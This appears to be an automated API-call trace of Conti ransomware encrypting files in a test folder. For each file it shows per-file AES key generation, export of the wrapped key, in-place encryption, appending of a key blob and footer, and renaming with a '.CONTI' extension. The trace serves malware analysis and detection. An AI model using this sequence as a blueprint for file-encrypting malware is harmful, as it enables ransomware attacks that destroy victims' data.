	[0094.679] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x175e6f0) returned 1
	[0094.679] CryptExportKey (in: hKey=0x175e6f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x34ffaac | out: pbData=0x17c534c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0094.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0094.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.701] GetLastError () returned 0x0
	[0094.701] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=272046) returned 1
	[0094.701] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x426ae
	[0094.701] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.701] SetEndOfFile (hFile=0x350) returned 1
	[0094.702] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.702] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.702] WriteFile (in: hFile=0x350, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0094.706] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.706] ReadFile (in: hFile=0x350, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x426ae, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x426ae, lpOverlapped=0x0) returned 1
	[0094.713] CryptEncrypt (in: hKey=0x175e6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x426ae, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x426b0) returned 1
	[0094.713] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.713] WriteFile (in: hFile=0x350, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x426b0, lpOverlapped=0x0) returned 1
	[0094.714] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.714] WriteFile (in: hFile=0x350, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0094.714] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.714] CloseHandle (hObject=0x350) returned 1
	[0094.719] GetProcessHeap () returned 0x1720000
	[0094.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.719] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\ParameterInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml"
	[0094.719] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\ParameterInfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.CONTI"
	[0094.719] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.conti")) returned 1
	[0094.720] GetProcessHeap () returned 0x1720000
	[0094.720] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.720] CryptDestroyKey (hKey=0x175e6f0) returned 1
	[0094.720] GetProcessHeap () returned 0x1720000
	[0094.720] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c00d0 | out: hHeap=0x1720000) returned 1
	[0094.720] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0094.723] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x175e730) returned 1
	[0094.723] CryptExportKey (in: hKey=0x175e730, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x34ffaac | out: pbData=0x17c459c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0094.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0094.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.724] GetLastError () returned 0x0
	[0094.724] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=14084) returned 1
	[0094.725] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3704
	[0094.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.725] SetEndOfFile (hFile=0x350) returned 1
	[0094.725] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.725] WriteFile (in: hFile=0x350, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0094.727] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.727] ReadFile (in: hFile=0x350, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x3704, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x3704, lpOverlapped=0x0) returned 1
	[0094.728] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x3704, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x3710) returned 1
	[0094.728] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.728] WriteFile (in: hFile=0x350, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x3710, lpOverlapped=0x0) returned 1
	[0094.728] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.728] WriteFile (in: hFile=0x350, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0094.728] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.728] CloseHandle (hObject=0x350) returned 1
	[0094.729] GetProcessHeap () returned 0x1720000
	[0094.729] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.729] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\Strings.xml" | out: lpString1="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml"
	[0094.729] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Strings.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Strings.xml.CONTI") returned="C:\\588bce7c90097ed212\\Strings.xml.CONTI"
	[0094.729] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Strings.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\strings.xml.conti")) returned 1
	[0094.729] GetProcessHeap () returned 0x1720000
	[0094.730] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.730] CryptDestroyKey (hKey=0x175e730) returned 1
	[0094.730] GetProcessHeap () returned 0x1720000
	[0094.730] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0094.730] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0094.731] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x175e6f0) returned 1
	[0094.731] CryptExportKey (in: hKey=0x175e6f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x34ffaac | out: pbData=0x17c534c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0094.732] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0094.732] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.732] GetLastError () returned 0x0
	[0094.732] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=38898) returned 1
	[0094.732] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x97f2
	[0094.732] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.732] SetEndOfFile (hFile=0x350) returned 1
	[0094.732] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.732] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.732] WriteFile (in: hFile=0x350, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0094.734] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.734] ReadFile (in: hFile=0x350, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x97f2, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x97f2, lpOverlapped=0x0) returned 1
	[0094.735] CryptEncrypt (in: hKey=0x175e6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x97f2, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x9800) returned 1
	[0094.736] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.736] WriteFile (in: hFile=0x350, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x9800, lpOverlapped=0x0) returned 1
	[0094.736] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.736] WriteFile (in: hFile=0x350, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0094.736] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.736] CloseHandle (hObject=0x350) returned 1
	[0094.737] GetProcessHeap () returned 0x1720000
	[0094.738] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.738] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml"
	[0094.738] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\UiInfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\UiInfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\UiInfo.xml.CONTI"
	[0094.738] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\UiInfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.conti")) returned 1
	[0094.738] GetProcessHeap () returned 0x1720000
	[0094.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.738] CryptDestroyKey (hKey=0x175e6f0) returned 1
	[0094.738] GetProcessHeap () returned 0x1720000
	[0094.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d4b8 | out: hHeap=0x1720000) returned 1
	[0094.738] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0094.739] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x175e6f0) returned 1
	[0094.739] CryptExportKey (in: hKey=0x175e6f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x34ffaac | out: pbData=0x17c57dc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0094.740] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0094.740] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.740] GetLastError () returned 0x0
	[0094.740] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=104072) returned 1
	[0094.740] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19688
	[0094.740] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.740] SetEndOfFile (hFile=0x350) returned 1
	[0094.740] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.740] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.740] WriteFile (in: hFile=0x350, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0094.743] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.743] ReadFile (in: hFile=0x350, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x19688, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x19688, lpOverlapped=0x0) returned 1
	[0094.744] CryptEncrypt (in: hKey=0x175e6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x19688, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x19690) returned 1
	[0094.744] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.744] WriteFile (in: hFile=0x350, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x19690, lpOverlapped=0x0) returned 1
	[0094.745] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.745] WriteFile (in: hFile=0x350, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0094.745] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.745] CloseHandle (hObject=0x350) returned 1
	[0094.747] GetProcessHeap () returned 0x1720000
	[0094.747] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.747] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\watermark.bmp" | out: lpString1="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp"
	[0094.747] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\watermark.bmp", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\watermark.bmp.CONTI") returned="C:\\588bce7c90097ed212\\watermark.bmp.CONTI"
	[0094.747] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\watermark.bmp.CONTI" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.conti")) returned 1
	[0094.748] GetProcessHeap () returned 0x1720000
	[0094.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.748] CryptDestroyKey (hKey=0x175e6f0) returned 1
	[0094.748] GetProcessHeap () returned 0x1720000
	[0094.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d058 | out: hHeap=0x1720000) returned 1
	[0094.748] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0094.981] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x17c7fb0) returned 1
	[0094.981] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x34ffaac | out: pbData=0x17c57dc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0094.982] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0094.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0094.983] GetLastError () returned 0x0
	[0094.983] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=5198099) returned 1
	[0094.983] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4f5113
	[0094.983] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.983] SetEndOfFile (hFile=0x354) returned 1
	[0094.983] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.983] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.983] WriteFile (in: hFile=0x354, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0095.132] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.132] ReadFile (in: hFile=0x354, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x4f5113, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x4f5113, lpOverlapped=0x0) returned 1
	[0097.354] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x4f5113, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x4f5120) returned 1
	[0097.360] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.361] WriteFile (in: hFile=0x354, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x4f5120, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x4f5120, lpOverlapped=0x0) returned 1
	[0098.047] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.047] WriteFile (in: hFile=0x354, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0098.047] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.047] CloseHandle (hObject=0x354) returned 1
	[0102.684] GetProcessHeap () returned 0x1720000
	[0102.684] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x18023e8
	[0102.687] lstrcpyW (in: lpString1=0x18023e8, lpString2="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu"
	[0102.687] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.CONTI") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.CONTI"
	[0102.687] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.CONTI" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.conti")) returned 1
	[0103.474] GetProcessHeap () returned 0x1720000
	[0103.474] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18023e8 | out: hHeap=0x1720000) returned 1
	[0103.474] CryptDestroyKey (hKey=0x17c7fb0) returned 1
